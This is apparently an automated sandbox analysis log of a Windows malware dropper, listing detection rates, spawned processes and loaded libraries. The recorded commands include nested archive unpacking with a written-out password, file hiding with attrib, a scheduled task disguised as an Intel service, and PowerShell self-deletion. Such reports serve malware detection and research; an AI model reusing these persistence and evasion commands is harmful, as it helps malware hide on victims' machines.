Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 52%
Source: file.exe	Virustotal: Detection: 56%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe "C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe"
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe"
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 648
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe "C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe "C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe "C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe "C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	Section loaded: profapi.dll	Jump to behavior
